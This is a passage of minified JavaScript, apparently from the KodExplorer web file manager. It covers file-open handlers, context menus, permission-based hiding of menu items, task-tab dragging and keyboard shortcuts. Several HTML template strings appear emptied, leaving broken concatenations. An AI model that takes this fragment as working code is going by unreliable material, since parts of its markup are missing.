0==e?!1:0===e.indexOf("http")?!0:G.shareInfo||core.pathReadable(e)?!0:(Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),!1)};Hook.bind("kodApp.open.before",function(t){return"folder"==t.ext?(core.isApp("explorer")||isWap()?ui.path.list(t.path+"/"):core.explorer(t.path),!0):e(t.path)?("file"==t.ext&&(t.ext=""),void 0):!0}),kodApp.openUnknow=function(e,t){void 0==t&&(t="");var a=G.appHost+"pluginApp/index&search="+core.pathExt(e),i="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'appOpenSetting');",n="kodApp.open(pathHashDecode('"+pathHashEncode(e)+"'),false,'aceEditor');",o="kodApp.download(pathHashDecode('"+pathHashEncode(e)+"'));",s="core.openWindow('"+a+"');",r=LNG.unknow_file_try+'
          '+LNG.unknow_file_tips+"
          "+t+'
          2.'+r+n+'">'+LNG["Explorer.UI.openWithText"]+'
          3.'+r+o+'">'+LNG.unknow_file_download+'
          '+r+s+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
          ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:l,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(e){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(e)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=t;"http"!=t.substr(0,4)&&(a=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(t),G.sharePage!==void 0&&(a=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(a):$('').appendTo("body")}}}),kodApp.download=function(e){kodApp.open(e,"","download")},kodApp.openWindow=function(e){kodApp.open(e,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(t){if(e(t)){var a=core.path2url(t);isWap()?window.location.href=a:window.open(a)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(e,t){$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(e,t){core.fileGet(e,function(a){if("url"==t){var i=a.match(/URL=(.*)/);if(i.length>=2)return window.open(i[1])}else if("webloc"==t)try{var n=$($.parseXML(a)),o=n.find("string").text();return window.open(o),void 0}catch(s){}kodApp.open(e,t,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(e){var t=core.path2url(e);core.openDialog(t,core.icon("html"),core.pathThis(e))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(e,t){var a=core.path2url(e),i="pdf"+UUID(),n='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:"80%",height:"75%",padding:0,content:n}),PDFObject.embed(a,"#"+i)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),core.openApp(a)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(e){core.fileGet(e,function(t){var a=jsonDecode(t);a.name=core.pathThis(e),a.path=e,ui.path.pathOperate.appEdit(a)})}});var t={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(t,".menu-body-main",".app-install"),$.contextMenu.menuAdd(t,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(t,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(e,t,a){var i=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(a.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),a.removeClass("menu-auto-fit"),a.inScreen()||a.addClass("menu-auto-fit"),".menu-body-main"==e){var n=a.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?n.removeClass("hidden"):n.addClass("hidden")}if(_.include(i,e)){var o="disabled",s=".cute,.rname,.remove",r=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";t.hasClass("file-not-readable")?a.find(r).addClass(o):a.find(r).removeClass(o),t.hasClass("file-not-writeable")?a.find(s).addClass(o):a.find(s).removeClass(o)}}),Hook.bind("rightMenu.show.menu-body-main",function(e,t){var a=".upload,.past,.newfolder,.newfile",i="disabled";_.get(G,"jsonData.info.canUpload")?t.find(a).removeClass(i):t.find(a).addClass(i)}),Hook.bind("rightMenu.show.menu-file",function(e,t){if($(".context-menu-active").hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";inArray(["jpg","jpeg","png"],i)?t.find(".set-background").removeClass(n):t.find(".set-background").addClass(n)});var a=function(){var e=".close-item,.refresh,.newfile,.past,.info",t=".open-browser",a=".explorer,.create-project,.open-project",i=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",n=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",o=$(".menu-tool-path"),s="disabled",r=ui.fileLight.fileListSelect();o.find(".context-menu-item").addClass(s),0==r.length?o.find(e).removeClass(s):1==r.length?(o.find(".context-menu-item").removeClass(s),"folder"==ui.fileLight.type(r)?o.find(t).addClass(s):o.find(a).addClass(s)):r.length>1&&o.find(i).removeClass(s),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&o.find(n).filter(":not(."+s+")").addClass(s)};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){a(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){a()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var e="hidden";if(core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),$(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open-text").addClass(e),$(".pathinfo .open-window").addClass(e),$(".context-menu-list .open-browser").addClass(e)),core.authCheck("explorer.search")||$(".context-menu-list .search").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder").addClass(e),core.authCheck("userShare.set")||$(".context-menu-list .share").remove(),core.authCheck("explorer.mkfile")||$(".context-menu-list .newfile,.tool-path-newfile").addClass(e),core.authCheck("explorer.mkdir")||$(".context-menu-list .newfolder,[data-action=newfolder]").addClass(e),core.authCheck("explorer.pathCopy")||($(".context-menu-list .cute").addClass(e),$(".context-menu-list .copy").addClass(e)),!core.authCheck("explorer.fileUpload")){$(".context-menu-list .upload").addClass(e);var t=$("[data-action=upload-more]");t.exists()&&t.parent().addClass(e)}}})}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n"),define("app/shareCommon/rightMenu",[],function(){var e=".menu-file",t=".menu-folder",a=".menu-more",i=".menu-tree-root",n=".menu-tree-folder",o=".menu-tree-file",s={"list-icon":{name:LNG.list_type,icon:"eye-open",items:{"set-icon":{name:LNG.list_icon,className:"menu-set-icon set-icon"},"set-list":{name:LNG.list_list,className:"menu-set-icon set-list"}}},"sort-by":{name:LNG.order_type,accesskey:"y",icon:"sort",items:{"set-sort-name":{name:LNG.name,className:"menu-set-sort set-sort-name"},"set-sort-ext":{name:LNG.type,className:"menu-set-sort set-sort-ext"},"set-sort-size":{name:LNG.size,className:"menu-set-sort set-sort-size"},"set-sort-mtime":{name:LNG.modify_time,className:"menu-set-sort set-sort-mtime"},sep105:"--------","set-sort-up":{name:LNG.sort_up,className:"menu-set-desc set-sort-up"},"set-sort-down":{name:LNG.sort_down,className:"menu-set-desc set-sort-down"}}},"set-file-icon-size":{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),v(),k(),y(),$(".set-set-"+G.userConfig.listType).addClass("selected"),$(".set-sort-"+G.userConfig.listSortField).addClass("selected"),$(".set-sort-"+G.userConfig.listSortOrder).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),k(),g(),b(),y(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menu-body-main",className:"file-continer-menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------","list-icon":s["list-icon"],"sort-by":s["sort-by"],"set-file-icon-size":s["set-file-icon-size"],sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"Ctrl+F",className:"search",icon:"search",accesskey:"s"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},"show-file":{name:LNG.show_file,className:"show-file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"set-icon":ui.setListType("icon");break;case"set-list":ui.setListType("list");break;case"set-sort-name":ui.setListSort("name",0);break;case"set-sort-ext":ui.setListSort("ext",0);break;case"set-sort-size":ui.setListSort("size",0);break;case"set-sort-mtime":ui.setListSort("mtime",0);break;case"set-sort-up":ui.setListSort(0,"up");break;case"set-sort-down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"search":ui.path.search();break;case"show-file":ui.path.shareFile();break;case"open-project":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,callback:function(e){x(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){x(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){x(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},b=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){x(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},"show-file":{name:LNG.show_file,className:"show-file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},y=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-taskbar",items:{"quit-others":{name:LNG.close_others,className:"quit-others",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"quit-others":$.each($.dialog.list,function(e,t){a!=e&&t.close()});break;case"quit":i.close()}}})},k=function(){$.contextMenu({zIndex:9999,selector:".task-tab",items:{"close-all":{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},"show-all":{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},"hide-all":{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var a=t.$trigger.attr("id");switch($.dialog.list[a],e){case"show-all":$.each($.dialog.list,function(e,t){t.display(!0) -});break;case"hide-all":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"close-all":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(e){switch(e){case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"open-project":ui.tree.openProject();break;case"show-file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh-all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l}}),define("app/common/taskTap",[],function(){var e={},t="",a=160,i=function(){$(".task-tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),a=$.dialog.list[t];if(void 0==a)return c(t),void 0;var i=$("."+t);"hidden"==i.css("visibility")?a.display(!0).zIndex():i.hasClass("aui-state-focus")?a.display(!1):a.zIndex()},o=function(){var e,t,i,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task-tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){g(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(a){s=!0,r=!0,l=a.pageX,$tab_parent=$(".task-tab"),t=$(".task-tab .tab"),$(".tasktab-dragging").remove(),i=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=a.clientX-l+c;$("body").prepend("
          "),i.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(a){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(a);var n=a.clientX-l+c;f>n||n>f+u-d||(i.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"right")}}))}},v=function(i,n){if(!e.is(":animated")||o!=i){o=i,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task-tab .tab");var s=e.width(),r=$(".task-tab #"+i),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},a),l.animate({width:"0px"},a,function(){$(this).remove(),t=$(".task-tab .tab")})}},g=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=i&&(c=e.get(0).getBoundingClientRect().left,i.animate({left:c+"px"},a,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,i=t,n=t+12,o=$(".task-tab .tab"),s=$(".task-tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(i=Math.floor(s/r)-12),e){case"add":$(".task-tab .tabs .this").css("width","0").animate({width:i+"px"},a);case"close":o.animate({width:i+"px"},a);break;case"resize":o.css("width",i+"px");break;default:}},r=function(t,a){$(".task-tab").removeClass("hidden");var i=a.replace(/<[^>]+>/g,""),n='";$(n).insertBefore(".task-tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task-tab .this").removeClass("this"),$(".task-tab #"+e).addClass("this"),t=e},c=function(t){$(".task-tab #"+t).animate({width:0},a,function(){if($(".task-tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&!core.isApp("desktop")){var e=31;$(".task-tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-taskbar",items:{"quit-others":{name:LNG.close_others,className:"quit-others",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"quit-others":$.each($.dialog.list,function(e,t){a!=e&&t.close()});break;case"quit":i.close()}}})},p=function(){$.contextMenu({zIndex:9999,selector:".task-tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var a=t.$trigger.attr("id");switch($.dialog.list[a],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
          ';$(e).appendTo("body"),core.isApp("desktop")||$(".task-tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),i(),d(),p(),o()}}}),define("app/src/explorer/ui",["./fileContent"],function(e){var t=e("./fileContent"),a=t.f5,i=t.f5Callback,n=function(e){G.userConfig.listType=e,LocalData.set("listType",e),$(".set-icon-size").hide(),$(".tools-right button").removeClass("active"),$("[data-action=set-"+e+"]").addClass("active"),$("#list-type-header,.line-split-box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("file-list-icon file-list-list file-list-split"),"list"==e?($(Config.FileBoxSelector).addClass("file-list-list"),$("#list-type-header").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("file-list-icon"),$(".set-icon-size").show(),$(".set-file-icon-size").show()):"split"==e&&($(Config.FileBoxSelector).addClass("file-list-split"),$(".line-split-box").removeClass("hidden")),$(".menu-set-icon").removeClass("selected"),$(".set-"+e).addClass("selected"),$(".file-continerMore").css("top",0);var t=$(".frame-right-main .tools").outerHeight();"list"==e&&(t+=26),$(".frame-header").is(":visible")&&(t+=$(".frame-header").outerHeight()),$(".bodymain").css("top",t)},o=function(e){n(e),a(!1,!1),void 0===G.sid&&$.get(G.appHost+"setting/set&k=listType&v="+e)},s=function(e,t){0!=e?(G.userConfig.listSortField=e,$(".menu-set-sort").removeClass("selected"),$(".set-sort-"+e).addClass("selected")):e=G.userConfig.listSortField,0!=t?(G.userConfig.listSortOrder=t,$(".menu-set-desc").removeClass("selected"),$(".set-sort-"+t).addClass("selected")):t=G.userConfig.listSortOrder,LocalData.set("listSortField",e),LocalData.set("listSortOrder",t),a(!1,!0),$.ajax({url:G.appHost+"setting/set&k=listSortField,listSortOrder&v="+e+","+t})},r=function(){$(".menu-recycle-button").bind("mouseenter",function(){$(this).addClass("recycle-hover")}).bind("mouseleave",function(){$(this).removeClass("recycle-hover")}).bind("click",function(){ui.path.list(G.KOD_USER_RECYCLE)}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share-hover")}).bind("mouseleave",function(){$(this).removeClass("share-hover")}).bind("click",function(){ui.path.list(G.KOD_USER_SHARE+":"+G.userID+"/")})},l=function(){$("#main-title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),s($(this).attr("field"),$(this).attr("id")))})},c=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("data-action");m(e)})},d=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:G.appHost+"setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var t=LNG.config_save_error_file;core.authCheck("setting.set")||(t=LNG.config_save_error_auth),Tips.tips(t,!1)}}})})},p=function(){$(".dialog-goto-path").bind("click",function(){var e=G.thisPath.split("/");e.shift();var t=e.join("/"),a=G.jsonData.info.adminRealPath;ui.path.list(a+t)}),$(".toolbar-path-more").die("click").live("click",function(){if($(this).hasClass("active"))return $(".menu-tool-path").trigger("contextmenu:hide"),$(this).removeClass("active"),void 0;$(this).addClass("active");var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$(".tool-path-newfile,.tool-path-upload").die("click").live("click",function(){var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolbar-path-more").removeClass("active"),$(".menu-tool-path").trigger("contextmenu:hide")})},u=function(){if("icon"!=G.userConfig.listType)return 1;var e=$(Config.FileBoxSelector).width(),t=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/t)},f=function(){var e=u(),t=$(Config.BodyContent).outerHeight(),a=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(t/a)*e},h=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,t=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/t)},m=function(e){switch(e){case"recycle-clear":ui.path.recycleClear();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"select-all":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set-icon":o("icon");break;case"set-list":o("list");break;case"set-split":o("split");break;default:}},v=function(){var e,t=0,a="",i=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==t?(t=timeFloat(),a=o,Tips.pop(a),e=setTimeout(function(){ui.path.setSelectByChar(a),t=0},i),void 0):(i>timeFloat()-t&&(t=timeFloat(),a+=o,clearTimeout(e),Tips.pop(a),e=setTimeout(function(){ui.path.setSelectByChar(a),t=0},i)),void 0)})},g=function(){v(),Mousetrap.bind(["f1","alt+left","backspace","alt+right","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","ctrl+shift+n","ctrl+shift+f","del","shift+del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","alt+enter","ctrl+s","command+s","alt+f4"],function(e,t){if($("body").hasClass("stop_hot_key"))return!0;if(ui.isEdit())return!0;if($.contextMenu.isDisplay())return!0;if($(".dialog-path-remove").length>0)return!0;var a=["ctrl+c","command+c","ctrl+v","command+v","ctrl+x","command+x"];switch(inArray(a,t)||stopPP(e),t){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(t);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":ui.path.search($(".header-right input").val(),G.thisPath);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},b=function(){if(core.isApp("desktop")){var e=20,t=20,a=parseInt($(".file").css("height")),i=a-30,n=10,o=15,s=$(document).height()-80,r=Math.floor((s-e)/(a+n)),l=0,c=0,d=0,p=0,u=(s-e-r*(a+n)-n)/r;u>0&&(n+=u),$(".file-continer .file").css("position","absolute"),$(".file-continer .file").each(function(s){l=s%r,c=Math.floor(s/r),d=t+(i+o)*c,p=e+(a+n)*l,$(this).css({left:d,top:p})})}};return{f5:a,f5Callback:i,fileContent:t,initListType:n,setListSort:s,setListType:o,getRowfileNumber:u,getPagefileNumber:f,getColfileNumberDesktop:h,resetDesktopIcon:b,setTheme:function(e){G.userConfig.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,t){$(".background").attr("src",e).one("load",function(){var a="body .aero:before,body .aero:after,body .full-background-wall{background-image:url("+e+")}";$.setStyle(a,"wall-backgroud"),"function"==typeof 